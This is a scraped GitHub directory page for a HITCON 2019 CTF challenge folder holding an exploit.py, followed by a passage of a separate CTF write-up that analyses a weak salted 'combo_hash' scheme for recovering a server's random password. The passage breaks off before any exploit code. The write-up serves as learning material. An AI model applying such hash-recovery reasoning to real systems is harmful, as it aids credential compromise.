<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1.6k</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>1</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/p4-team/ctf/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":42933477,"originating_url":"https://github.com/p4-team/ctf/tree/master/2019-10-12-hitcon/crypto_in_the_shell","user_id":null}}" data-hydro-click-hmac="c31bba262cb0a5e9600094031eec98b7c4744a32f1a404fd0e35120a7654e6fa"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/p4-team/ctf/refs" cache-key="v0:1654638710.945365" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cDQtdGVhbS9jdGY=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/p4-team/ctf/refs" cache-key="v0:1654638710.945365" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cDQtdGVhbS9jdGY=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>2019-10-12-hitcon</span></span><span>/</span>crypto_in_the_shell<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>2019-10-12-hitcon</span></span><span>/</span>crypto_in_the_shell<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/p4-team/ctf/tree-commit/b41abc37b3d4d2de84c479e84ccb8a428a1f1a77/2019-10-12-hitcon/crypto_in_the_shell" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/p4-team/ctf/file-list/master/2019-10-12-hitcon/crypto_in_the_shell"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
## Warmup/Learning - Pass the Hash
Server-side script does following:
* Generates 20-byte random password.* Asks user for 24-byte salt, then generates hash based on previouslygenerated password and user-provided hash and sends that hash back to user. Inloop, up to 1024 times.* Sends randomly generated salt to user and asks user to provide correct hashfor that salt and previously generated password.* Sends the flag if user-provided hash is correct.
The right direction was determined almost immediately after reading the script:sending specially crafted(?) salts multiple times and examining theresulting hashes should somehow help to deduce the random password.
After further examination of script I noticed few weird things about the`combo_hash()`:
* It uses salt value between the two copies of password as initial value forhash: `salted_pass = password + salt + password`.* On each round, it splits result of the previous round (or `salted_pass` onfirst) and uses some "normal" hash algorithm on both halves separately.* On each round, it uses XOR on result of the previous round (or `salted_pass`on first) and calculated "normal" hashes to produce the new value.
To better see what really happens here, we could write this as follows:
```spl, spr - left and right parts of the initial salted_passh(v) - generates hash based on value vr - final result of all rounds
round 0) r = spl ^ h(spr) + spr ^ h(spl)round 1) r = spl ^ h(spr) ^ h(spr ^ h(spl)) + spr ^ h(spl) ^ h(spl ^ h(spr))...```
which could be simplified to:
```rnd(v) - generates some pseudo-random text based on seed vrnd(v)[l], rnd(v)[r] - left and right halves of pseudo-random text
r = spl ^ rnd(salted_pass)[l] + spr ^ rnd(salted_pass)[r]```
So far, we have following:
